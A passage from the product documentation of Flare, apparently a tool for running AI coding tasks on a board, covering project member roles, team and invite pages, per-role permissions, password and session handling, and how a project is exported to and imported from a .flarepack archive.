Password changes, issued links and redeemed links are audited; no password or token ever is.

**Project members** — A member works only on the projects they belong to, as a maintainer or a contributor; the owner and admins act as maintainers of every project. `GET /projects/:projectId/members` shows anyone in the project its members (name, email, role, when added, disabled or not) and its staff. A maintainer (or the owner or an admin) adds a member or changes their role with `PUT /projects/:projectId/members/:userId { role }` and removes one with `DELETE …/members/:userId`, from a browser session only (a personal API token gets 403); the answer is the project's people again. The owner and admins are never added (400 "owners and admins work on every project already"), nor anyone unknown or disabled (400); the caller is read again inside the write, so a maintainer demoted while the request arrived changes nothing. Removing someone ends their access at once: their next request, stream or MCP call is refused, and the sessions and cards they set running in that project stop (those their connected apps started too), while their other projects' go on. Changes are audited (`member.set`, `member.remove`). `GET /account/me` answers your project roles beside you (`projectRoles`, empty for the owner and admins).

**Team pages** — **Settings → Team** (first in the nav, for everyone signed in) lists everyone with their role, whether they are disabled and, for an active person, a **Claude connected** or **Claude not connected** tag. The owner and admins change a role, disable or enable someone and issue a member a password reset link, each after a confirm step, on the rows the server would allow (never the owner, never yourself, and an admin leaves other admins to the owner); a refusal shows the server's own words. Below the table they create an invite (a role and, for a member, projects with a role each) and list or revoke pending ones. A reset link is shown once, with a Copy link button, and kept only while its notice is open; the notice says whoever holds the link can take over the account. An invite link is shown the same way, and an invite made on this page visit can be copied again from the pending list until the page is left. The section says an approver's name and email go into merge commits as `Approved-by:`, which may be public. Members see the table only. **Project settings → Members** lists a project's members and its owner and admins; a maintainer, the owner or an admin adds team members, changes their role or removes them (after a confirm that says their running work there stops). A member sees "Where cards run" disabled and, on an untrusted cloned project, "Ask the owner or an admin to trust it" in place of the Trust button: those are the owner's and admins' calls, so a missing project folder also tells a member to ask them. An invite link opens **Join Flare** (`/invite`), which shows who invited you, as what, to which projects and until when, and creates your account; a reset or recovery link opens **Set a new password** (`/recover`), which signs no one in and points to sign-in. Both take the token off the address bar and out of the tab's history before the app's router reads the URL, send it only in the request body, and forget it once the account is created or the password set. None of these exist on a desktop Flare.

**Who did what** — On a hosted server a card's inspector shows a **People** section on Overview, under **Original request**: who created the card, who started its latest run, who approved it, who shipped it, and who stopped it (only while it stays stopped), each with when they did it. The card fields and the `by` on its session's events hold user ids (`buildAttribution` in `@flare/sdk` reads the events); the page names them from the team list, an id no longer on it shows as "an unknown user", and every name shows as "name unavailable" when the team list cannot be read. A contributor sees Accept Merge, Merge anyway, Ship and Delete disabled, each naming the permission their role lacks ("Your role on this project lacks the card.approve permission"), and the Changes tab says only a maintainer can merge or ship; they can still request changes and resolve conflicts. What a done card taught the project offers them no Keep or Discard, a tool call waiting for approval shows them the call with "Only a maintainer of this project can allow or deny this call" and a Got it button instead of Approve and Deny, and Project settings → Memory is read-only for them, with the same reason. A desktop Flare shows none of this.

**What each role sees** — Pages show only what the server would let you do. An admin sees every instance setting, but those only the owner may change (credentials, and the addresses they are sent to) are read-only, a secret showing only whether it is set, with "Only the owner can change credentials and the addresses they are sent to.". A member reads no instance settings: Settings says "Instance settings are managed by the owner and admins." and keeps Team; their own Claude and connected apps are on Your account, as everyone's are. A member gets no usage refresh in the status popover, no Add project or Remove on Projects, Edit only on projects they maintain, and Rebuild snapshot only there too. The owner and a desktop Flare see everything.

**Your session, from any page** — **Your account → Security → Password** changes your password (current, new, confirm; a hidden username field lets a password manager file it): this browser stays signed in, every other session ends, and your personal API tokens and connected apps are revoked; the form says so before you submit, and the answer counts them. If only revoking the connected apps fails, the password is still changed: the page says so in a warning that points to Your account → Integrations, and re-reads your sessions and tokens. When any request is refused with 401 while you are signed in (a session ended from another browser, a password changed elsewhere, an admin disabling you), the app reads your account again and, if the session is gone, returns to sign-in with "Your session ended. Sign in again to go on." instead of showing errors about an API token; if the session is still there, it carries on.

**Configuration** — Hosted mode only (`FLARE_HOSTED=1`, `FLARE_PUBLIC_URL`). `server.trustProxy` (`FLARE_TRUST_PROXY`) decides which client address the limits count.

### Project import

**What it does** — Moves a desktop board into another Flare exactly as it is, in one `.flarepack` file: the cards (as `backlog.json`, card for card), the ideas, the project's memory and session history, the cards' image attachments, and a git bundle of every active card branch that has work beyond origin's default branch. The archive names the repository it belongs to (`origin`, as `https://<host>/<path>.git`, never with its credentials).

**Where to find it** — In the local Flare the project lives in: **Project settings → Export**, listed last (a local Flare only, its owner; a hosted server neither offers nor serves it). For scripts, the same export runs with Flare stopped: `pnpm --filter @flare/server maintain export-project <projectId> [--out <file>]`, where the id is the project's `id` in `FLARE_HOME/projects.json`. On the receiving Flare: **Project settings → Import from desktop**, after **Storage** (last on a hosted Flare), and only to the owner and admins. For scripts, `pnpm --filter @flare/server maintain import-project <projectId> <file> [--url <address>]` sends the archive to a **running** Flare (the import runs in that server, so it cannot run with Flare stopped): the address is `--url`, else `http://127.0.0.1:8787` (plain http only for this machine: any other address must be https, so the token never crosses a network in the clear), and the token is `FLARE_API_TOKEN` (on a hosted Flare, your personal API token), else this machine's `FLARE_HOME/api-token`. It prints the same counts and notes the panel shows, or the server's refusal word for word (exit 1; 2 for a mistake in the arguments), and says whether a failed import was rolled back.

**How to use it** — Press **Export project**. The project must be idle: with a run, a card or a background process in flight the server answers 409 ("this project has work in flight … try again when it is idle") and nothing is written. Otherwise the server closes the project while it writes the archive (the panel says "Writing the archive… the project is paused until it is done"; the project's pages wait and then carry on), commits each card worktree's uncommitted work onto that card's own branch (a commit "flare: work in progress at export"), and the browser saves the file under its server-given name. The panel then says `Saved <file> (<size>)`, how many cards, card branches and attachments it holds, how many cards had uncommitted work committed, each warning below, and "This project stays here, unchanged": the export copies, and the local project keeps working as before (from then on the two copies do not sync). A refusal shows the server's reason, under **Not exported**, with **Export again**. `POST /projects/:projectId/export` writes the archive into `FLARE_HOME/exports/<id>/` and answers its id, file name, size and counts; `GET /projects/:projectId/export/:exportId` hands it over once and deletes it; an archive nobody fetches is deleted after 15 minutes, and any left by a stopped server at the next export. One export runs at a time per server.

The command does the same with Flare stopped (cards still running are only partly carried): it commits each card worktree's uncommitted work onto that card's own branch, then writes the archive and prints it, for example `repo: exported to /home/me/board.flarepack (2.4 MB)`, `5 cards, 2 card branches, 1 attachments`, the branches it committed to, and a `warning:` line for each card the archive carries only in part: a card still running, a card in a sandbox (only the work synced to its branch), a card whose branch has nothing beyond origin's default branch (it will need a restart), and an attachment missing on disk. Without `--out` the file is `<project>-<YYYYMMDD-HHmmss>.flarepack` in the folder you ran it from. Then add the same GitHub repository to the other Flare as a project, choose **In a sandbox** under **Where cards run**, open **Import from desktop**, pick the file and press **Import**. The panel shows the upload's progress (and **Cancel** until the last byte is sent), then the counts of what arrived and a note for each thing that needs a person, or the server's refusal word for word. Focus follows the work (Cancel, then the progress, then the outcome), and the outcome is announced to screen readers: a refusal as an alert, the rest as a status. The file is streamed from disk by the browser, never read into the page.

**How it works** — `POST /projects/:projectId/import` takes the archive as `application/octet-stream`; only the owner and admins may. Every entry is checked against the header's size and hash before anything is used. Card branches pass the same intake as a sandbox sync and become Flare's own commits on the project's repository; history and memory rows are copied into fresh stores, never file-copied; imported memories arrive as proposals to review under **Memory**. Attribution is not carried over. A card that was running comes back interrupted and waits for **Continue**, which resumes it in a sandbox; a card in review can be approved, and the clean room verifies it on the imported tip. The restore is journaled and rolled back if it fails part-way. A 500 carries `rollback`: `clean` means the project was put back whole and nothing was changed; `partial` means some step could not be undone, the project may be inconsistent, and the boot sweep finishes restoring it at the next restart. The panel promises "nothing was changed" only for `clean`. An upload the client cut off answers 400 "the upload was cut off before it finished". An upload that sends nothing for 60 seconds, or takes longer than 30 minutes, is stopped with a 408, and one the server has no disk room to check is refused with a 507 (it needs three times the archive's size free); nothing is changed either way. A 200 whose summary cannot be read shows that the import finished and to reload. While it holds the project closed, deleting the project or changing its trust or where its cards run answers 409 "the project is closing — try again". The route is not hosted-only: a desktop Flare serves it too, to its owner, for such a project.

**What it refuses to do** — Import an archive of another repository; import into a project whose board, ideas, history or memories are not empty, a project that is not trusted, or a project whose cards run locally (so a move from one local Flare to another is refused, and the import page says why: imported cards continue in a sandbox, which needs a box provider); run two imports at once on a server; accept anything it cannot check (an entry whose size or hash differs, a path that escapes, a store with a view, a trigger or a collation Flare does not use). It never imports sealed settings or credentials: re-enter them in **Settings**. Export writes nothing to the board, the ideas or a store: `flare.sqlite` and `memory.sqlite` are copied with `VACUUM INTO` on read-only connections (taken before any worktree is committed, so a branch holds at least what the history shows), and are never migrated. It will not replace an existing file or write inside the project's Flare data, and it refuses a project with no `origin` remote, a board this build cannot read, a card that is landing, or a card whose worktree is in the middle of merging its base; it says how to fix each. Read `settings.json`, the settings vault or `credentials.json`; the archive holds no secret Flare keeps, and the remote's address loses any token it carried.

**Configuration** — The hidden **`server.maxImportBytes`** setting (default 1 GiB, takes effect on restart) is the largest archive accepted; the upload is refused with a 413 as soon as it passes it.


## Known limits and decisions

Things the whole-repo audit surfaced that are decisions rather than
defects. Each is recorded here so the next person meets a choice, not a
surprise.

**A generated route table, hand-written methods.** `pnpm gen:sdk-routes` writes
`packages/sdk/src/routes.generated.ts` from the `/openapi.json` a desktop and a
hosted server serve: every route with its path parameters and request body type.
`FlareClient.call()` reaches any of them typed. The named methods stay
hand-written, because each checks its answer against a wire shape; a test fails
when the table is stale, and when a route has neither a method nor a stated
reason for having none.
